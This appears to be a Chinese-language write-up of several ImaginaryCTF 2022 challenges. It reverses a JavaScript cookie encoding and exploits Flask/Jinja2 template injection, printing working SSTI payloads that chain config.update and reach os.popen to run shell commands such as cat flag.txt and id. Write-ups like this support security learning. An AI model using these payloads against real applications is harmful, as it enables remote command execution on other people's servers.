ImaginaryCTF2022

[toc]

平台链接:Home Page - ImaginaryCTF

button

瞎点,出现了

image-20220719225522358

然后搜索alert,发现这个东西

image-20220716231559412

控制台执行

1
motSusfunclion()

image-20220719101656785

rooCookie

关键代码

1
2
3
4
5
6
7
8
9
10
11
<script>
function createToken(text) {
let encrypted = "";
for (let i = 0; i < text.length; i++) {
encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2)
}
document.cookie = encrypted
}

document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000"
</script>

已知的是加密后的数据,我们根据这个信息来写逆向解密脚本

相关函数

charCodeAt() 方法可返回指定位置的字符的 Unicode 编码。这个返回值是 0 - 65535 之间的整数。

根据可显示字符对应的是32到127左右的字符,同时-43+1337也就是+1294,所以可以根据这个判断转为二进制后,都是11位的二进制字符串

image-20220719004344083

然后写逆向脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re
def cut_text(text,lenth):
textArr = re.findall('.{'+str(lenth)+'}', text)
textArr.append(text[(len(textArr)*lenth):])
return textArr

flag = ''
token = '101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000'

print(cut_text(token,11)) # 分为57个长度为11的二进制字符串

s = cut_text(token,11)
for i in s:
a = chr(int('0b'+i,2)-1294)
flag += a
print(flag)

结果

image-20220719004426066

username=”roo” & password=”ictf{h0p3_7ha7_wa5n7_t00_b4d}”

minigolf

题目很明显,flask模板注入,但是过滤了["{{", "}}", "[", "]", "_"],同时字符串长度限制了69

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, render_template_string, request, Response
import html

app = Flask(__name__)

blacklist = ["{{", "}}", "[", "]", "_"]

@app.route('/', methods=['GET'])
def home():
print(request.args)
if "txt" in request.args.keys():
txt = html.escape(request.args["txt"])
if any([n in txt for n in blacklist]):
return "Not allowed."
if len(txt) <= 69:
return render_template_string(txt)
else:
return "Too long."
return Response(open(__file__).read(), mimetype='text/plain')

app.run('0.0.0.0', 1337)

使用config.update

1
2
3
{%if%20config.update(a=request.args.a)==1%20%}1{%%20endif%}&a=__globals__
{%if%20config.update(g=request.args.g)==1%20%}1{%%20endif%}&g=ls
{%print(lipsum|attr(config.a)).os.popen(config.g).read()%}

image-20220719203914568

然后将第二个修改为cat flag.txt

1
2
3
{%if%20config.update(a=request.args.a)==1%20%}1{%%20endif%}&a=__globals__
{%if%20config.update(g=request.args.g)==1%20%}1{%%20endif%}&g=cat%20flag.txt
{%print(lipsum|attr(config.a)).os.popen(config.g).read()%}

image-20220719204058013

Democracy

直接就显示flag了

ictf{i'm_sure_you_0btained_this_flag_with0ut_any_sort_of_trickery...}

SSTI Golf

python的模板注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from flask import Flask, render_template_string, request, Response

app = Flask(__name__)

@app.route('/')
def index():
return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/ssti')
def ssti():
query = request.args['query'] if 'query' in request.args else '...'
if len(query) > 48:
return "Too long!"
return render_template_string(query)

app.run('0.0.0.0', 1337)

测试

1
http://sstigolf.chal.imaginaryctf.org/ssti?query={{7*7}}

回显49

解法一

1
http://sstigolf.chal.imaginaryctf.org/ssti?query={{lipsum.__globals__.os.popen(%27whoami%27).read()}}

回显root,将命令换为cat *

1
http://sstigolf.chal.imaginaryctf.org/ssti?query={{lipsum.__globals__.os.popen(%27cat%20*%27).read()}}

image-20220718223727617

ictf{F!1+3r5s!?}

解法二

使用config.update,将相关函数写入config中

本题因为限制了字符串长度,所以使用即可

下面这个已知修改config中a的值

1
2
3
4
5
{{config.update(a=lipsum)}}
{{config.update(a=config[%27a%27].__globals__)}}
{{config.update(a=config[%27a%27].__builtins__)}}
{{config.update(a=config[%27a%27].eval)}}
{{config.a(request.args.b)}}&b=__import__(%27os%27).popen(%27id%27).read()

image-20220719202212921

1
2
{{config.update({"a":cycler.__init__})}}
{{config.a.__globals__.os.popen("nl%20*").read()}}

image-20220719202324050

下面这个题目不是该比赛中的题目,是这个平台daily challenge里面的一个题目

daliy challenge

Almost SSTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from flask import Flask, render_template_string, request, Response

app = Flask(__name__)

@app.route('/')
def index():
return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/ssti')
def ssti():
query = request.args['query']
if len(query) > 2:
return "Too long!"
return render_template_string(query)

app.run('0.0.0.0', 3002, debug=True)

debug模式是开启的,构造报错

1
2
http://puzzler7.imaginaryctf.org:3002/ssti?query[]=
__import__("os").popen("ls").read

image-20220719225636877